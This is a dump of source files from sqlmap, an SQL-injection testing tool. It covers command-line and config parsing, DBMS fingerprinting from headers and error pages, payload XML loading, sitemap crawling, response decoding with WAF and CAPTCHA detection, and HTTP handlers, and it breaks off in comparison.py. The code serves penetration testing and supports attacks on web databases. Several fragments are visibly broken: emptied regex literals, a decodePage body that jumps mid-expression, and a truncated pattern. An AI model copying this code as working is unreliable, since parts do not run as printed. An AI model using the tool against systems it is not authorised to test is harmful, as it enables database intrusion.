False for option in get_actions(group): if option.dest not in BASIC_HELP_ITEMS: option.help = SUPPRESS else: found = True if not found: get_groups(parser).remove(group) elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r"\A-{1,2}\w", argv[i - 1]) is None: dataToStdout("[!] detected usage of long-option without a starting hyphen ('%s')\n" % argv[i]) raise SystemExit for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)): try: if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit(): conf.verbose = verbosity.count('v') del argv[argv.index(verbosity)] except (IndexError, ValueError): pass try: (args, _) = parser.parse_known_args(argv) if hasattr(parser, "parse_known_args") else parser.parse_args(argv) except UnicodeEncodeError as ex: dataToStdout("\n[!] %s\n" % getUnicode(ex.object.encode("unicode-escape"))) raise SystemExit except SystemExit: if "-h" in argv and not advancedHelp: dataToStdout("\n[!] to see full list of options run with '-hh'\n") raise if extraHeaders: if not args.headers: args.headers = "" delimiter = "\\n" if "\\n" in args.headers else "\n" args.headers += delimiter + delimiter.join(extraHeaders) # Expand given mnemonic options (e.g. -z "ign,flu,bat") for i in xrange(len(argv) - 1): if argv[i] == "-z": expandMnemonics(argv[i + 1], parser, args) if args.dummy: args.url = args.url or DUMMY_URL if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), args.api, args.ignoreStdin, "GITHUB_ACTIONS" in os.environ)): args.stdinPipe = iter(sys.stdin.readline, None) else: args.stdinPipe = None if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) return args except (ArgumentError, TypeError) as ex: parser.error(ex) except SystemExit: # Protection against Windows dummy double clicking if IS_WIN and "--non-interactive" not in sys.argv: dataToStdout("\nPress Enter to continue...") _input() raise debugMsg = "parsing command line" logger.debug(debugMsg) ================================================ FILE: lib/parse/configfile.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import checkFile from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import unArrayizeValue from lib.core.common import UnicodeRawConfigParser from lib.core.convert import getUnicode from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger from lib.core.enums import OPTION_TYPE from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapSyntaxException from lib.core.optiondict import optDict config = None def configFileProxy(section, option, datatype): """ Parse configuration file and save settings into the configuration advanced dictionary. """ if config.has_option(section, option): try: if datatype == OPTION_TYPE.BOOLEAN: value = config.getboolean(section, option) if config.get(section, option) else False elif datatype == OPTION_TYPE.INTEGER: value = config.getint(section, option) if config.get(section, option) else 0 elif datatype == OPTION_TYPE.FLOAT: value = config.getfloat(section, option) if config.get(section, option) else 0.0 else: value = config.get(section, option) except ValueError as ex: errMsg = "error occurred while processing the option " errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex)) raise SqlmapSyntaxException(errMsg) if value: conf[option] = value else: conf[option] = None else: debugMsg = "missing requested option '%s' (section " % option debugMsg += "'%s') into the configuration file, " % section debugMsg += "ignoring. Skipping to next." logger.debug(debugMsg) def configFileParser(configFile): """ Parse configuration file and save settings into the configuration advanced dictionary. """ global config debugMsg = "parsing configuration file" logger.debug(debugMsg) checkFile(configFile) configFP = openFile(configFile, 'r') try: config = UnicodeRawConfigParser() if hasattr(config, "read_file"): config.read_file(configFP) else: config.readfp(configFP) except Exception as ex: errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" raise SqlmapMissingMandatoryOptionException(errMsg) mandatory = False for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"): if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option): mandatory = True break if not mandatory: errMsg = "missing a mandatory option in the configuration file " errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)" raise SqlmapMissingMandatoryOptionException(errMsg) for family, optionData in optDict.items(): for option, datatype in optionData.items(): datatype = unArrayizeValue(datatype) configFileProxy(family, option, datatype) ================================================ FILE: lib/parse/handler.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler from lib.core.common import sanitizeStr class FingerprintHandler(ContentHandler): """ This class defines methods to parse and extract information from the given DBMS banner based upon the data in XML file """ def __init__(self, banner, info): ContentHandler.__init__(self) self._banner = sanitizeStr(banner or "") self._regexp = None self._match = None self._dbmsVersion = None self._techVersion = None self._info = info def _feedInfo(self, key, value): value = sanitizeStr(value) if value in (None, "None", ""): return if key == "dbmsVersion": self._info[key] = value else: if key not in self._info: self._info[key] = set() for _ in value.split("|"): self._info[key].add(_) def startElement(self, name, attrs): if name == "regexp": self._regexp = sanitizeStr(attrs.get("value")) _ = re.match(r"\A[A-Za-z0-9]+", self._regexp) # minor trick avoiding compiling of large amount of regexes if _ and self._banner and _.group(0).lower() in self._banner.lower() or not _: self._match = re.search(self._regexp, self._banner, re.I | re.M) else: self._match = None if name == "info" and self._match: self._feedInfo("type", attrs.get("type")) self._feedInfo("distrib", attrs.get("distrib")) self._feedInfo("release", attrs.get("release")) self._feedInfo("codename", attrs.get("codename")) self._dbmsVersion = sanitizeStr(attrs.get("dbms_version")) self._techVersion = sanitizeStr(attrs.get("tech_version")) self._sp = sanitizeStr(attrs.get("sp")) if self._dbmsVersion and self._dbmsVersion.isdigit(): self._feedInfo("dbmsVersion", self._match.group(int(self._dbmsVersion))) if self._techVersion and self._techVersion.isdigit(): self._feedInfo("technology", "%s %s" % (attrs.get("technology"), self._match.group(int(self._techVersion)))) else: self._feedInfo("technology", attrs.get("technology")) if self._sp.isdigit(): self._feedInfo("sp", "Service Pack %s" % int(self._sp)) self._regexp = None self._match = None self._dbmsVersion = None self._techVersion = None ================================================ FILE: lib/parse/headers.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths from lib.parse.handler import FingerprintHandler def headersParser(headers): """ This function calls a class that parses the input HTTP headers to fingerprint the back-end database management system operating system and the web application technology """ if not kb.headerPaths: kb.headerPaths = { "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"), "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"), "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"), "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), } for header, xmlfile in kb.headerPaths.items(): if header in headers: handler = FingerprintHandler(headers[header], kb.headersFp) parseXmlFile(xmlfile, handler) parseXmlFile(paths.GENERIC_XML, handler) ================================================ FILE: lib/parse/html.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler from lib.core.common import urldecode from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD from lib.core.threads import getCurrentThreadData class HTMLHandler(ContentHandler): """ This class defines methods to parse the input HTML page to fingerprint the back-end database management system """ def __init__(self, page): ContentHandler.__init__(self) self._dbms = None self._page = (page or "") try: self._lower_page = self._page.lower() except SystemError: # https://bugs.python.org/issue18183 self._lower_page = None self._urldecoded_page = urldecode(self._page) self.dbms = None def _markAsErrorPage(self): threadData = getCurrentThreadData() threadData.lastErrorPage = (threadData.lastRequestUID, self._page) def startElement(self, name, attrs): if self.dbms: return if name == "dbms": self._dbms = attrs.get("value") elif name == "error": regexp = attrs.get("regexp") if regexp not in kb.cache.regex: keywords = re.findall(r"\w+", re.sub(r"\\.", " ", regexp)) keywords = sorted(keywords, key=len) kb.cache.regex[regexp] = keywords[-1].lower() if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I): self.dbms = self._dbms self._markAsErrorPage() kb.forkNote = kb.forkNote or attrs.get("fork") def htmlParser(page): """ This function calls a class that parses the input HTML page to fingerprint the back-end database management system >>> from lib.core.enums import DBMS >>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL True >>> threadData = getCurrentThreadData() >>> threadData.lastErrorPage = None """ page = page[:HEURISTIC_PAGE_SIZE_THRESHOLD] xmlfile = paths.ERRORS_XML handler = HTMLHandler(page) key = hash(page) # generic SQL warning/error messages if re.search(r"SQL (warning|error|syntax)", page, re.I): handler._markAsErrorPage() if key in kb.cache.parsedDbms: retVal = kb.cache.parsedDbms[key] if retVal: handler._markAsErrorPage() return retVal parseXmlFile(xmlfile, handler) if handler.dbms and handler.dbms not in kb.htmlFp: kb.lastParserStatus = handler.dbms kb.htmlFp.append(handler.dbms) else: kb.lastParserStatus = None kb.cache.parsedDbms[key] = handler.dbms return handler.dbms ================================================ FILE: lib/parse/payloads.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re from xml.etree import ElementTree as et from lib.core.common import getSafeExString from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.exception import SqlmapInstallationException from lib.core.settings import PAYLOAD_XML_FILES def cleanupVals(text, tag): if tag == "clause" and '-' in text: text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text) if tag in ("clause", "where"): text = text.split(',') if hasattr(text, "isdigit") and text.isdigit(): text = int(text) elif isinstance(text, list): count = 0 for _ in text: text[count] = int(_) if _.isdigit() else _ count += 1 if len(text) == 1 and tag not in ("clause", "where"): text = text[0] return text def parseXmlNode(node): for element in node.findall("boundary"): boundary = AttribDict() for child in element.findall("*"): if child.text: values = cleanupVals(child.text, child.tag) boundary[child.tag] = values else: boundary[child.tag] = None conf.boundaries.append(boundary) for element in node.findall("test"): test = AttribDict() for child in element.findall("*"): if child.text and child.text.strip(): values = cleanupVals(child.text, child.tag) test[child.tag] = values else: progeny = child.findall("*") if len(progeny) == 0: test[child.tag] = None continue else: test[child.tag] = AttribDict() for gchild in progeny: if gchild.tag in test[child.tag]: prevtext = test[child.tag][gchild.tag] test[child.tag][gchild.tag] = [prevtext, gchild.text] else: test[child.tag][gchild.tag] = gchild.text conf.tests.append(test) def loadBoundaries(): """ Loads boundaries from XML >>> conf.boundaries = [] >>> loadBoundaries() >>> len(conf.boundaries) > 0 True """ try: doc = et.parse(paths.BOUNDARIES_XML) except Exception as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) root = doc.getroot() parseXmlNode(root) def loadPayloads(): """ Loads payloads/tests from XML >>> conf.tests = [] >>> loadPayloads() >>> len(conf.tests) > 0 True """ for payloadFile in PAYLOAD_XML_FILES: payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) try: doc = et.parse(payloadFilePath) except Exception as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) root = doc.getroot() parseXmlNode(root) ================================================ FILE: lib/parse/sitemap.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import readInput from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet from lib.core.exception import SqlmapSyntaxException from lib.request.connect import Connect as Request from thirdparty.six.moves import http_client as _http_client abortedFlag = None def parseSitemap(url, retVal=None, visited=None): global abortedFlag if retVal is not None: logger.debug("parsing sitemap '%s'" % url) try: if retVal is None: abortedFlag = False retVal = OrderedSet() visited = set() if url in visited: return retVal visited.add(url) try: content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" except _http_client.InvalidURL: errMsg = "invalid URL given for sitemap ('%s')" % url raise SqlmapSyntaxException(errMsg) if content: content = re.sub(r"", "", content, flags=re.DOTALL) for match in re.finditer(r"<\w*?loc[^>]*>\s*([^<]+)", content, re.I): if abortedFlag: break foundUrl = match.group(1).strip() # Basic validation to avoid junk if not foundUrl.startswith("http"): continue if foundUrl.endswith(".xml") and "sitemap" in foundUrl.lower(): if kb.followSitemapRecursion is None: message = "sitemap recursion detected. Do you want to follow? [y/N] " kb.followSitemapRecursion = readInput(message, default='N', boolean=True) if kb.followSitemapRecursion: parseSitemap(foundUrl, retVal, visited) else: retVal.add(foundUrl) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during sitemap parsing. sqlmap " warnMsg += "will use partial list" logger.warning(warnMsg) return retVal ================================================ FILE: lib/request/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: lib/request/basic.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs import gzip import io import logging import re import zlib from lib.core.common import Backend from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import isListLike from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.convert import decodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import cachedmethod from lib.core.decorators import lockedmethod from lib.core.dicts import HTML_ENTITIES from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE from lib.core.exception import SqlmapCompressionException from lib.core.settings import BLOCKED_IP_REGEX from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD from lib.core.settings import IDENTYWAF_PARSE_COUNT_LIMIT from lib.core.settings import IDENTYWAF_PARSE_PAGE_LIMIT from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import PARSE_HEADERS_LIMIT from lib.core.settings import PRINTABLE_BYTES from lib.core.settings import SELECT_FROM_TABLE_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VIEWSTATE_REGEX from lib.parse.headers import headersParser from lib.parse.html import htmlParser from thirdparty import six from thirdparty.chardet import detect from thirdparty.identywaf import identYwaf from thirdparty.odict import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client @lockedmethod def forgeHeaders(items=None, base=None): """ Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing the HTTP requests """ items = items or {} for _ in list(items.keys()): if items[_] is None: del items[_] headers = OrderedDict(conf.httpHeaders if base is None else base) headers.update(items.items()) class _str(str): def capitalize(self): return _str(self) def title(self): return _str(self) _ = headers headers = OrderedDict() for key, value in _.items(): success = False for _ in headers: if _.upper() == key.upper(): del headers[_] break if key.upper() not in (_.upper() for _ in getPublicTypeMembers(HTTP_HEADER, True)): try: headers[_str(key)] = value # dirty hack for http://bugs.python.org/issue12455 except UnicodeEncodeError: # don't do the hack on non-ASCII header names (they have to be properly encoded later on) pass else: success = True if not success: key = '-'.join(_.capitalize() for _ in key.split('-')) headers[key] = value if conf.cj: if HTTP_HEADER.COOKIE in headers: for cookie in conf.cj: if cookie is None or cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain): continue if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]): if conf.loadCookies: conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders) elif kb.mergeCookies is None: message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE message += "target URL provides its own cookies within " message += "HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE message += "Do you want to merge them in further requests? [Y/n] " kb.mergeCookies = readInput(message, default='Y', boolean=True) if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: def _(value): return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE]) conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders] elif not kb.testMode: headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value)) if kb.testMode and not any((conf.csrfToken, conf.safeUrl)): resetCookieJar(conf.cj) return headers def parseResponse(page, headers, status=None): """ @param page: the page to parse to feed the knowledge base htmlFp (back-end DBMS fingerprint based upon DBMS error messages return through the web application) list and absFilePaths (absolute file paths) set. """ if headers: headersParser(headers) if page: htmlParser(page if not status else "%s\n\n%s" % (status, page)) @cachedmethod def checkCharEncoding(encoding, warn=True): """ Checks encoding name, repairs common misspellings and adjusts to proper namings used in codecs module >>> checkCharEncoding('iso-8858', False) 'iso8859-1' >>> checkCharEncoding('en_us', False) 'utf8' """ if isinstance(encoding, six.binary_type): encoding = getUnicode(encoding) if isListLike(encoding): encoding = unArrayizeValue(encoding) if encoding: encoding = encoding.lower() else: return encoding # Reference: http://www.destructor.de/charsets/index.htm translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} for delimiter in (';', ',', '('): if delimiter in encoding: encoding = encoding[:encoding.find(delimiter)].strip() encoding = encoding.replace(""", "") # popular typos/errors if "8858" in encoding: encoding = encoding.replace("8858", "8859") # iso-8858 -> iso-8859 elif "8559" in encoding: encoding = encoding.replace("8559", "8859") # iso-8559 -> iso-8859 elif "8895" in encoding: encoding = encoding.replace("8895", "8859") # iso-8895 -> iso-8859 elif "5889" in encoding: encoding = encoding.replace("5889", "8859") # iso-5889 -> iso-8859 elif "5589" in encoding: encoding = encoding.replace("5589", "8859") # iso-5589 -> iso-8859 elif "2313" in encoding: encoding = encoding.replace("2313", "2312") # gb2313 -> gb2312 elif encoding.startswith("x-"): encoding = encoding[len("x-"):] # x-euc-kr -> euc-kr / x-mac-turkish -> mac-turkish elif "windows-cp" in encoding: encoding = encoding.replace("windows-cp", "windows") # windows-cp-1254 -> windows-1254 # name adjustment for compatibility if encoding.startswith("8859"): encoding = "iso-%s" % encoding elif encoding.startswith("cp-"): encoding = "cp%s" % encoding[3:] elif encoding.startswith("euc-"): encoding = "euc_%s" % encoding[4:] elif encoding.startswith("windows") and not encoding.startswith("windows-"): encoding = "windows-%s" % encoding[7:] elif encoding.find("iso-88") > 0: encoding = encoding[encoding.find("iso-88"):] elif encoding.startswith("is0-"): encoding = "iso%s" % encoding[4:] elif encoding.find("ascii") > 0: encoding = "ascii" elif encoding.find("utf8") > 0: encoding = "utf8" elif encoding.find("utf-8") > 0: encoding = "utf-8" # Reference: http://philip.html5.org/data/charsets-2.html if encoding in translate: encoding = translate[encoding] elif encoding in ("null", "{charset}", "charset", "*") or not re.search(r"\w", encoding): return None # Reference: http://www.iana.org/assignments/character-sets # Reference: http://docs.python.org/library/codecs.html try: codecs.lookup(encoding) except: encoding = None if encoding: try: six.text_type(getBytes(randomStr()), encoding) except: if warn: warnMsg = "invalid web page charset '%s'" % encoding singleTimeLogMessage(warnMsg, logging.WARN, encoding) encoding = None return encoding @lockedmethod def getHeuristicCharEncoding(page): """ Returns page encoding charset detected by usage of heuristics Reference: https://chardet.readthedocs.io/en/latest/usage.html >>> getHeuristicCharEncoding(b"") 'ascii' """ key = (len(page), hash(page)) retVal = kb.cache.encoding.get(key) if retVal is None: retVal = detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"] kb.cache.encoding[key] = retVal if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""): infoMsg = "heuristics detected web page charset '%s'" % retVal singleTimeLogMessage(infoMsg, logging.INFO, retVal) return retVal def decodePage(page, contentEncoding, contentType, percentDecode=True): """ Decode compressed/charset HTTP response >>> getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")) 'foo&bar' >>> getText(decodePage(b" ", None, "text/html; charset=utf-8")) '\\t' """ if not page or (conf.nullConnection and len(page) < 2): return getUnicode(page) contentEncoding = getText(contentEncoding).lower() if contentEncoding else "" contentType = getText(contentType).lower() if contentType else "" if contentEncoding in ("gzip", "x-gzip", "deflate"): if not kb.pageCompress: return None try: if contentEncoding == "deflate": obj = zlib.decompressobj(-15) page = obj.decompress(page, MAX_CONNECTION_TOTAL_SIZE + 1) page += obj.flush() if len(page) > MAX_CONNECTION_TOTAL_SIZE: raise Exception("size too large") else: data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) page = data.read(MAX_CONNECTION_TOTAL_SIZE + 1) if len(page) > MAX_CONNECTION_TOTAL_SIZE: raise Exception("size too large") except Exception as ex: if b" 255 else _.group(0), page) else: page = getUnicode(page, kb.pageEncoding) return page def processResponse(page, responseHeaders, code=None, status=None): kb.processResponseCounter += 1 page = page or "" parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,): kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page) else: kb.tableFrom = None if conf.parseErrors: msg = extractErrorMessage(page) if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_COUNT_LIMIT: rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:IDENTYWAF_PARSE_PAGE_LIMIT] if not kb.checkWafMode else page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) with kb.locks.identYwaf: identYwaf.non_blind.clear() try: if identYwaf.non_blind_check(rawResponse, silent=True): for waf in set(identYwaf.non_blind): if waf not in kb.identifiedWafs: kb.identifiedWafs.add(waf) errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) singleTimeLogMessage(errMsg, logging.CRITICAL) except Exception as ex: singleTimeWarnMessage("internal error occurred in WAF/IPS detection ('%s')" % getSafeExString(ex)) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) if match and PLACE.POST in conf.parameters: name, value = match.groups() if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]: if conf.paramDict[PLACE.POST][name] in page: continue else: msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name if not readInput(msg, default='N', boolean=True): continue conf.paramDict[PLACE.POST][name] = value conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST]) if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): kb.browserVerification = True warnMsg = "potential browser verification protection mechanism detected" if re.search(r"(?i)CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""): for match in re.finditer(r"(?si)", page): if re.search(r"(?i)captcha", match.group(0)): kb.captchaDetected = True break if re.search(r"]+\brefresh\b[^>]+\bcaptcha\b", page): kb.captchaDetected = True if kb.captchaDetected: warnMsg = "potential CAPTCHA protection mechanism detected" if re.search(r"(?i)[^<]*CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) if re.search(BLOCKED_IP_REGEX, page): warnMsg = "it appears that you have been blocked by the target server" singleTimeWarnMessage(warnMsg) ================================================ FILE: lib/request/basicauthhandler.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from thirdparty.six.moves import urllib as _urllib class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler): """ Reference: http://selenic.com/hg/rev/6c51a5056020 Fix for a: http://bugs.python.org/issue8797 """ def __init__(self, *args, **kwargs): _urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) self.retried_req = set() self.retried_count = 0 def reset_retry_count(self): # Python 2.6.5 will call this on 401 or 407 errors and thus loop # forever. We disable reset_retry_count completely and reset in # http_error_auth_reqed instead. pass def http_error_auth_reqed(self, auth_header, host, req, headers): # Reset the retry counter once for each request. if hash(req) not in self.retried_req: self.retried_req.add(hash(req)) self.retried_count = 0 else: if self.retried_count > 5: raise _urllib.error.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) else: self.retried_count += 1 return _urllib.request.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers) ================================================ FILE: lib/request/chunkedhandler.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import conf from lib.core.enums import HTTP_HEADER from thirdparty.six.moves import urllib as _urllib class ChunkedHandler(_urllib.request.HTTPHandler): """ Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding """ def _http_request(self, request): host = request.get_host() if hasattr(request, "get_host") else request.host if not host: raise _urllib.error.URLError("no host given") if request.data is not None: # POST data = request.data if not request.has_header(HTTP_HEADER.CONTENT_TYPE): request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded") if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked: request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data)) sel_host = host if request.has_proxy(): sel_host = _urllib.parse.urlsplit(request.get_selector()).netloc if not request.has_header(HTTP_HEADER.HOST): request.add_unredirected_header(HTTP_HEADER.HOST, sel_host) for name, value in self.parent.addheaders: name = name.capitalize() if not request.has_header(name): request.add_unredirected_header(name, value) return request http_request = _http_request ================================================ FILE: lib/request/comparison.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import re from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent from lib.core.common import listToStrValue from lib.core.common import removeDynamicContent from lib.core.common import getLastRequestHTTPError from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError from lib.core.convert import getBytes from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapNoneDataException from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DIFF_TOLERANCE from lib.core.settings import HTML_TITLE_REGEX from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_RATIO from lib.core.settings import MIN_RATIO from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData from thirdparty import six def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): if not isinstance(page, (six.text_type, six.binary_type, type(None))): logger.critical("got page of type %s; repr(page)[:200]=%s" % (type(page), repr(page)[:200])) try: page = b"".join(page) except: page = six.text_type(page) _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) return _ def _adjust(condition, getRatioValue): if not any((conf.string, conf.notString, conf.regexp, conf.code)): # Negative logic approach is used in raw page comparison scheme as that what is "different" than original # PAYLOAD.WHERE.NEGATIVE response is considered as True; in switch based approach negative logic is not # applied as that what is by user considered as True is that what is returned by the comparison mechanism # itself retVal = not condition if kb.negativeLogic and condition is not None and not getRatioValue else condition else: retVal = condition if not getRatioValue else (MAX_RATIO if condition else MIN_RATIO) return retVal def _comparison(page, headers, code, getRatioValue, pageLength): threadData = getCurrentThreadData() if kb.testMode: threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % 